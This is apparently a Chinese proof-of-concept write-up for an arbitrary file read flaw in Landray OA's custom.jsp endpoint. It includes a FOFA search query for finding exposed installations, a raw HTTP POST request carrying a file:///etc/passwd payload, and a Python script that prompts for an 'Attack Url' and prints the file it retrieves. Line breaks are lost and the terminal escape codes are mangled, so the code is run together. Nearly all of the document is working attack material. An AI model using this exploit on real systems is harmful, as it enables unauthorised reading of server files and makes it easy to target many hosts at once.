蓝凌OA custom.jsp 任意文件读取漏洞

FOFA:  app="Landray-OA系统"

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 42Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip
var={"body":{"file":"file:///etc/passwd"}}

#!/usr/bin/python3#-*- coding:utf-8 -*-# author : PeiQi# from   : http://wiki.peiqi.tech
import base64import requestsimport randomimport reimport jsonimport sys
def title():    print('+------------------------------------------')    print('+  33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')    print('+  33[34mGithub : https://github.com/PeiQi0                                 33[0m')    print('+  33[34m公众号  : PeiQi文库                                                   33[0m')    print('+  33[34mVersion: 蓝凌OA 任意文件读取                                          33[0m')    print('+  33[36m使用格式:  python3 poc.py                                            33[0m')    print('+  33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             33[0m')    print('+------------------------------------------')
def POC_1(target_url):    vuln_url = target_url + "/sys/ui/extend/varkind/custom.jsp"    headers = {                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",                "Content-Type": "application/x-www-form-urlencoded"    }    data = 'var={"body":{"file":"file:///etc/passwd"}}'    try:        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)        print("33[36m[o] 正在请求 {}/sys/ui/extend/varkind/custom.jsp 33[0m".format(target_url))        if "root:" in response.text and response.status_code == 200:            print("33[36m[o] 成功读取 /etc/passwd n[o] 响应为:{} 33[0m".format(response.text))
    except Exception as e:        print("33[31m[x] 请求失败:{} 33[0m".format(e))        sys.exit(0)
#if __name__ == '__main__':    title()    target_url = str(input("33[35mPlease input Attack UrlnUrl   >>> 33[0m"))    POC_1(target_url)